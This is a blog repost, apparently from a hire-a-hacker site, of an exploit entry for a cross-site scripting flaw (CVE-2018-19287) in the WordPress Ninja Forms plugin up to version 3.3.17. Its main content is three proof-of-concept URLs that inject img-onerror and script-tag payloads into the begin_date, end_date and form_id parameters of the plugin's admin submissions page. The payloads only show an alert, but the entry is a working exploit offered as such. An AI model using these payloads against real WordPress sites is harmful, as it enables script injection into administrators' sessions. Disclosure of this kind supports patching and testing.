Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86379806

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Wordpress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting
# Date: 2018-11-15
# Exploit Author: MTK
# Vendor Homepage: https://ninjaforms.com
# Softwae Link: https://wordpress.org/plugins/ninja-forms/
# Version: Up to V3.3.17
# Tested on: Debian 9 - Apache2 - Wordpress 4.9.8 - Firefox
# CVE : CVE-2018-19287

# Plugin description:
# Ninja Forms is the ultimate FREE form creation tool for WordPress. Build forms within minutes 
# using a simple yet powerful drag-and-drop form creator. For beginners, quickly and easily 
# design complex forms with absolutely no code. For developers, utilize built-in hooks, 
# filters, and even custom field templates to do whatever you need at any step in 
# the form building or submission using Ninja Forms as a framework.

# POC

|_1_|

http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date&end_date="><img+src=mtk+onerror=alert(/MTK/);//&filter_action=Filter&paged=1&action2=-1

|_2_|

http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src=mtk+onerror=alert(/MTK/);//&end_date&filter_action=Filter&paged=1&action2=-1

|_3_|

http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1"><script>alert(/MTK/);</script>&nf_form_filter&paged=1